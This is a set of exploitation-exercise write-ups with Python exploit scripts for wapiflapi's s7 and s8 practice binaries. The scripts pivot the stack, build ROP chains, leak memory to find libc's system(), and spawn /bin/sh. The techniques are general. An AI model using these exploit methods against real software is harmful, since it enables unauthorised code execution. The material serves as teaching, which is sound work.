0x00601000 293 | 294 | if counter == 0: 295 | print("parsing link_map...") 296 | link_map = get_link_map(got_plt) 297 | 298 | if counter == 0: 299 | print ("link_map found at " + hex(link_map)) 300 | print ("searching for libc...") 301 | 302 | libc_base, libc_dynamic = get_libc(link_map) 303 | 304 | libc_map.base = libc_base 305 | 306 | system = libc_map.get("system") 307 | lldiv = libc_map.get("lldiv") 308 | 309 | 310 | if counter == 0: 311 | print("searching for system() and lldiv()...") 312 | 313 | if system == None or lldiv == None: 314 | 315 | strtab, symtab = get_str_symtab(libc_dynamic) 316 | 317 | if counter == 0: 318 | print ("strtab " + hex(strtab)) 319 | print ("symtab " + hex(symtab)) 320 | 321 | if system == None: 322 | system = get_symbol(b"system", strtab, symtab, libc_map) 323 | 324 | if lldiv == None: 325 | lldiv = get_symbol(b"lldiv", strtab, symtab, libc_map) 326 | 327 | 328 | except Exception as e: 329 | counter += 1 330 | setup = binexpect.setup("./s7") 331 | s7 = setup.target() 332 | s7.setecho(False) 333 | 334 | s7.tryexpect("Welcome Stranger") 335 | s7.tryexpect("What is your password?") 336 | continue 337 | 338 | write(0x00601028, b"/bin/sh\x00", lldiv + libc_base) 339 | 340 | bin_sh = 0x00601028 341 | 342 | execute_shell(system + libc_base, bin_sh) 343 | 344 | 345 | s7.pwned() 346 | 347 | break 348 | 349 | 350 | 351 | -------------------------------------------------------------------------------- /wapiflapi-exrs/sploit/s8/README.md: -------------------------------------------------------------------------------- 1 | # Solving wapiflapi's s8 with radare2 and binexpect 2 | 3 | 4 | ## Intro 5 | 6 | This is s8: 7 | 8 | ```c 9 | int main(int argc, char **argv) 10 | { 11 | char buffer[32]; 12 | 13 | (void) argc, (void) argv; 14 | 15 | printf("Welcome Stranger\n"); 16 | printf("What is your password?\n"); 17 | 18 | if (read(0, buffer, 48) <= 0) 19 | err(EXIT_FAILURE, "read"); 20 | 21 | printf("If you're cool you'll get a shell.\n"); 22 | 23 | if (strcmp("pretend_you_dont_know_this", buffer) == 0) 24 | printf("neo\n"); 25 | 26 | return 0; 27 | } 28 | ``` 29 | 30 | It's very similar to s7, but this time there are only 16 bytes of overflow. 31 | 32 | ### Goal 33 | 34 | To spawn a shell 35 | 36 | ### Challanges 37 | 38 | 1. **only 16 bytes of overflow** ! 39 | 1. **no call to `system`** 40 | 2. only one read call in a single buffer 41 | 3. must be solved using only stdin / stdout 42 | 4. no assumptions on libc version or address layout are allowed 43 | 44 | 45 | ### Solution plan 46 | 47 | This solution is 90% the same as for [s7](https://github.com/mrmacete/writeups/tree/master/wapiflapi-exrs/sploit/s7), but the reduced amount of overflow needs a different way of leak memory content and execute the shell at the end. 48 | 49 | The general idea is to **move the stack to a known location** in a way which permits 2 things otherwise not possible: 50 | 51 | 1. use the entire buffer to store ROP chains 52 | 2. use absolute addresses, e.g. for storing "/bin/sh" string in the stack itself 53 | 54 | By controlling stack location, is also natural to keep `rsp` constant, avoiding running out the stack. 55 | 56 | Since all the rest is the same as [s7 solution](https://github.com/mrmacete/writeups/tree/master/wapiflapi-exrs/sploit/s7), in this writeup are explained only the differences. 57 | 58 | ## Moving the stack to a known memory area 59 | 60 | Let's use radare2 debugger to show candidate memory maps: 61 | 62 | ```r2 63 | # r2 -d s8 64 | Process with PID 28790 started... 65 | PID = 28790 66 | pid = 28790 tid = 28790 67 | r_debug_select: 28790 28790 68 | Using BADDR 0x400000 69 | Asuming filepath ./s8 70 | bits 64 71 | pid = 28790 tid = 28790 72 | -- Enable asm.trace to see the tracing information inside the disassembly 73 | [0x7fae09baeaf0]> dm 74 | sys 4K 0x0000000000400000 - 0x0000000000401000 s r-x /media/sf_src/exrs/sploit/s8 75 | sys 8K 0x0000000000600000 - 0x0000000000602000 s rw- /media/sf_src/exrs/sploit/s8 76 | sys 128K 0x00007fae09bae000 * 0x00007fae09bce000 s r-x /lib/x86_64-linux-gnu/ld-2.13.so 77 | sys 8K 0x00007fae09dcd000 - 0x00007fae09dcf000 s rw- /lib/x86_64-linux-gnu/ld-2.13.so 78 | sys 4K 0x00007fae09dcf000 - 0x00007fae09dd0000 s rw- unk0 79 | sys 132K 0x00007fff31568000 - 0x00007fff31589000 s rw- [stack] 80 | sys 8K 0x00007fff315fe000 - 0x00007fff31600000 s r-x [vdso] 81 | sys 4K 0xffffffffff600000 - 0xffffffffff601000 s r-x [vsyscall] 82 | [0x7fae09baeaf0]> 83 | ``` 84 | 85 | The area in the range `0x600000 - 0x602000` is mapped at fixed addresses and has read/write permissions, so it is a perfect candidate for stack use. Any address within that range can be used, but i prefer to place it in the middle of the second half, way after `.got.plt`, say around `0x601800`. 86 | 87 | 88 | ## Repeatable leak, reloaded 89 | 90 | Basically, four `read` are called to perform a leak: 91 | 92 | 1. the first one moves `rbp` to constant address `0x00601800` and triggers the read again there 93 | 2. the second one writes the ROP chain at the chosen address and reset the stack to point to the beginning of the ROP chain itself, triggers the leak using `puts` 94 | 3. the third one is needed to catch the new line (since we are using the entirety of the `count` bytes) 95 | 4. the fourth is to account for repetability 96 | 97 | This is the stack layout for the central ROP chain: 98 | 99 | Chunk Contents | Chunk length | Meaning 100 | -----------------| ---------------|---------------- 101 | 0x00400703 | 8 bytes | `pop rdi; ret` gadget 102 | XXXXXXXX | 8 bytes | Address to leak 103 | 0x004004c0 | 8 bytes | `puts` in the plt 104 | 0x00400520 | 8 bytes | entry point again (will trigger a new `read`) 105 | 0x00601800-0x28 | 8 bytes | address of the beginning of this ROP chain 106 | 0x00400691 | 8 bytes | `leave; ret;` gadget, this is the **entry point of the chain**, will reset the stack to the beginning of the chain returning into it 107 | 108 | 109 | 110 | Here is the relevant python code: 111 | 112 | 113 | ```python 114 | def leak(address): 115 | payload = bytes('A' * 32, 'utf-8') 116 | 117 | payload += rop( 118 | 0x00601800, # frame pointer 119 | 0x00400630, # read@main 120 | ) 121 | 122 | s7.sendbin(payload) 123 | 124 | payload = rop( 125 | 0x00400703, # pop rdi; ret; 126 | address, # leak 127 | 0x004004c0, # puts@plt 128 | 0x00400520, # entry point again 129 | 0x00601800-0x28, # new RSP 130 | 0x00400691, # leave; ret; 131 | ) 132 | 133 | 134 | s7.sendbin(payload) 135 | 136 | payload = bytes('A' * 32, 'utf-8') 137 | 138 | payload += rop( 139 | 0x00601718, # frame pointer (somewhere harmless) 140 | 0x00400630, # read@main 141 | ) 142 | 143 | s7.sendbinline(payload) 144 | 145 | s7.tryexpect("If you're cool you'll get a shell.\n" 146 | "If you're cool you'll get a shell.\n" 147 | "(.*)\n" 148 | "Welcome Stranger\n" 149 | "What is your password\?\n" 150 | "If you're cool you'll get a shell.\n" 151 | "If you're cool you'll get a shell.\n" 152 | "Welcome Stranger\n" 153 | "What is your password\?\n", 154 | exitwithprogram=False 155 | ) 156 | 157 | if s7.match != None: 158 | result = s7.match.group(1) 159 | else: 160 | result = "" 161 | 162 | return result 163 | ``` 164 | 165 | ## Executing the shell 166 | 167 | The approach is similar to the one used in the `leak()` but simpler, because here it is not necessary to account for repeatability. 168 | 169 | The ROP chain will contain the "/bin/sh" string itself and a pointer to it (since the addresses are deterministic): 170 | 171 | Chunk Contents | Chunk length | Meaning 172 | -----------------| ---------------|---------------- 173 | 0x00400703 | 8 bytes | `pop rdi; ret` gadget 174 | 0x00601800-8 | 8 bytes | Address of `"/bin/sh"` below 175 | system | 8 bytes | address of `system` 176 | 0x0068732F6E69622F | 8 bytes | `"/bin/sh"` string bytes, plus null terminator (here encoded as little endian 64-bits integer) 177 | 0x00601800-0x28 | 8 bytes | address of the beginning of this ROP chain 178 | 0x00400691 | 8 bytes | `leave; ret;` gadget, this is the **entry point of the chain**, will reset the stack to the beginning of the chain returning into it 179 | 180 | Here is the python code: 181 | 182 | ```python 183 | def execute_shell(system_addr): 184 | 185 | payload = bytes('A' * 32, 'utf-8') 186 | 187 | payload += rop( 188 | 0x00601800, # frame pointer 189 | 0x00400630, # read@main 190 | ) 191 | 192 | s7.sendbin(payload) 193 | 194 | payload = rop( 195 | 0x00400703, # pop rdi; ret; 196 | 0x00601800-8, # "/bin/sh" address 197 | system_addr, 198 | 0x0068732F6E69622F, # "/bin/sh" string itself 199 | 0x00601800-0x28, # new RSP 200 | 0x00400691, # leave; ret; 201 | ) 202 | 203 | 204 | s7.sendbin(payload) 205 | 206 | payload = bytes('A' * 32, 'utf-8') 207 | 208 | payload += rop( 209 | 0x00601718, # frame pointer 210 | 0x00400630, # read@main 211 | ) 212 | 213 | s7.sendbinline(payload) 214 | 215 | s7.tryexpect("If you're cool you'll get a shell.\n" 216 | "If you're cool you'll get a shell.\n" ) 217 | 218 | 219 | return; 220 | ``` 221 | 222 | ## Running and cinema 223 | 224 | To run the exploit are necessary: 225 | 226 | * python3 227 | * pexpect 228 | * binexpect 229 | 230 | The exploit python file and binexpect.py must be in the same directory of s8 executable. 231 | 232 | [![asciicast](https://asciinema.org/a/7lduxgfs32s0zhi0trqopay92.png)](https://asciinema.org/a/7lduxgfs32s0zhi0trqopay92) 233 | -------------------------------------------------------------------------------- /wapiflapi-exrs/sploit/s8/bexpl_s8.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import struct 4 | import binascii 5 | import time 6 | import sys 7 | import json 8 | import binexpect 9 | 10 | 11 | class LibcMap: 12 | 13 | libc_map = {} 14 | last_scanned_offset = 0 15 | 16 | def put(self, symbol, address, scanned_offset): 17 | if address != 0: 18 | self.libc_map[str(symbol,'utf-8')] = address 19 | self.last_scanned_offset = scanned_offset 20 | 21 | def get(self, symbol): 22 | if symbol in self.libc_map: 23 | return self.libc_map[symbol] 24 | 25 | return None 26 | 27 | 28 | def rop(*args): 29 | return struct.pack('Q'*len(args), *args) 30 | 31 | 32 | 33 | libc_map = LibcMap() 34 | 35 | setup = binexpect.setup("./s8") 36 | s8 = setup.target() 37 | s8.setecho(False) 38 | 39 | s8.tryexpect("Welcome Stranger") 40 | s8.tryexpect("What is your password\?") 41 | 42 | def leak(address): 43 | payload = bytes('A' * 32, 'utf-8') 44 | 45 | payload += rop( 46 | 0x00601800, # frame pointer 47 | 0x00400630, # read@main 48 | ) 49 | 50 | s8.sendbin(payload) 51 | 52 | payload = rop( 53 | 0x00400703, # pop rdi; ret; 54 | address, # leak 55 | 0x004004c0, # puts@plt 56 | 0x00400520, # entry point again 57 | 0x00601800-0x28, # new RSP 58 | 0x00400691, # leave; ret; 59 | ) 60 | 61 | 62 | s8.sendbin(payload) 63 | 64 | payload = bytes('A' * 32, 'utf-8') 65 | 66 | payload += rop( 67 | 0x00601718, # frame pointer (somewhere harmless) 68 | 0x00400630, # read@main 69 | ) 70 | 71 | s8.sendbinline(payload) 72 | 73 | s8.tryexpect("If you're cool you'll get a shell.\n" 74 | "If you're cool you'll get a shell.\n" 75 | "(.*)\n" 76 | "Welcome Stranger\n" 77 | "What is your password\?\n" 78 | "If you're cool you'll get a shell.\n" 79 | "If you're cool you'll get a shell.\n" 80 | "Welcome Stranger\n" 81 | "What is your password\?\n", 82 | exitwithprogram=False 83 | ) 84 | 85 | if s8.match != None: 86 | result = s8.match.group(1) 87 | else: 88 | result = "" 89 | 90 | if not s8.isalive(): 91 | print("died leaking address: " + hex(address)) 92 | raise 93 | 94 | return result 95 | 96 | 97 | def upack(s): 98 | ss = s[:8] 99 | pad = bytes('\x00' * (8-len(ss)), 'utf-8') 100 | return struct.unpack('Q', ss + pad)[0] 101 | 102 | def upleak(address): 103 | 104 | r = upack(leak(address)) 105 | 106 | sh = 1 107 | 108 | while r == 0 and sh < 8: 109 | r = (upack(leak(address+sh)) << (sh*8)) & 0xffffffffffffffff 110 | sh += 1 111 | 112 | return r 113 | 114 | def upleak_safe(address): 115 | result = 0 116 | 117 | for i in range(8): 118 | piece = upleak1(address+i) 119 | result = result | (piece << (i*8)) 120 | 121 | return result 122 | 123 | def upleak_safe_32(address): 124 | result = 0 125 | 126 | for i in range(4): 127 | piece = upleak1(address+i) 128 | result = result | (piece << (i*8)) 129 | 130 | return result 131 | 132 | 133 | def upleak1(address): 134 | 135 | r = upack(leak(address)[:1]) 136 | 137 | return r 138 | 139 | def upack32(s): 140 | ss = s[:4] 141 | pad = b'\x00' * (4-len(ss)) 142 | return struct.unpack('I', ss + pad)[0] 143 | 144 | def get_bytes(start, size): 145 | 146 | bs = [] 147 | 148 | for i in range(start, start+size): 149 | bs.append(upleak1(i)) 150 | 151 | return bs 152 | 153 | def get_link_map(got_plt): 154 | r = upack(leak(got_plt+8)) 155 | 156 | return r 157 | 158 | 159 | def get_str_symtab(dynamic): 160 | strtab = 0 161 | symtab = 0 162 | i = 0 163 | 164 | while (strtab == 0 or symtab == 0): 165 | typ = upack(leak(dynamic + i)) 166 | 167 | 168 | 169 | if typ == 5: 170 | strtab = upleak(dynamic + i + 8) 171 | elif typ == 6: 172 | symtab = upleak(dynamic + i + 8) 173 | 174 | i += 16 175 | 176 | return (strtab, symtab) 177 | 178 | def get_symbol(symbol, strtab, symtab, libc_map): 179 | i = libc_map.last_scanned_offset 180 | 181 | while True: 182 | 183 | offset = upack32(leak(symtab+i)) 184 | 185 | if offset != 0: 186 | sym = leak(strtab+offset) 187 | 188 | sym_addr = upleak_safe(symtab + i + 8) 189 | 190 | libc_map.put(sym, sym_addr, i) 191 | 192 | if sym == symbol: 193 | return sym_addr 194 | 195 | 196 | i += 24 197 | 198 | def get_libc(link_map): 199 | 200 | base = upleak(link_map) 201 | name = leak(upack(leak(link_map+8))) 202 | dynamic = upleak(link_map+16) 203 | nextp = upleak(link_map+24) 204 | 205 | if name.find(bytes('libc', 'utf-8')) >= 0: 206 | return (base, dynamic) 207 | 208 | if nextp != 0: 209 | return get_libc(nextp) 210 | 211 | 212 | def execute_shell(system_addr): 213 | 214 | payload = bytes('A' * 32, 'utf-8') 215 | 216 | payload += rop( 217 | 0x00601800, # frame pointer 218 | 0x00400630, # read@main 219 | ) 220 | 221 | s8.sendbin(payload) 222 | 223 | payload = rop( 224 | 0x00400703, # pop rdi; ret; 225 | 0x00601800-8, # "/bin/sh" address 226 | system_addr, 227 | 0x0068732F6E69622F, # "/bin/sh" string itself 228 | 0x00601800-0x28, # new RSP 229 | 0x00400691, # leave; ret; 230 | ) 231 | 232 | 233 | s8.sendbinline(payload) 234 | 235 | s8.tryexpect("If you're cool you'll get a shell.\n" 236 | "If you're cool you'll get a shell.\n" ) 237 | 238 | 239 | return; 240 | 241 | 242 | 243 | counter = 0 244 | 245 | while True: 246 | 247 | base = 0x00400000 248 | test = leak(base) 249 | 250 | if counter == 0 and test.startswith(bytes("\x7fELF", 'utf-8')): 251 | print( "Leak works!") 252 | 253 | got_plt = 0x00601000 254 | 255 | if counter == 0: 256 | print("parsing link_map...") 257 | link_map = get_link_map(got_plt) 258 | 259 | if counter == 0: 260 | print ("link_map found at " + hex(link_map)) 261 | print ("searching for libc...") 262 | 263 | libc_base, libc_dynamic = get_libc(link_map) 264 | 265 | libc_map.base = libc_base 266 | 267 | system = libc_map.get("system") 268 | lldiv = libc_map.get("lldiv") 269 | 270 | if counter == 0: 271 | print("searching for system()...") 272 | 273 | if system == None: 274 | 275 | strtab, symtab = get_str_symtab(libc_dynamic) 276 | 277 | if counter == 0: 278 | print ("strtab " + hex(strtab)) 279 | print ("symtab " + hex(symtab)) 280 | 281 | if system == None: 282 | system = get_symbol(b"system", strtab, symtab, libc_map) 283 | 284 | 285 | print("...found system at: " + hex(system+ libc_base)) 286 | 287 | execute_shell(system + libc_base) 288 | 289 | 290 | s8.pwned() 291 | 292 | break 293 | 294 | 295 | 296 | --------------------------------------------------------------------------------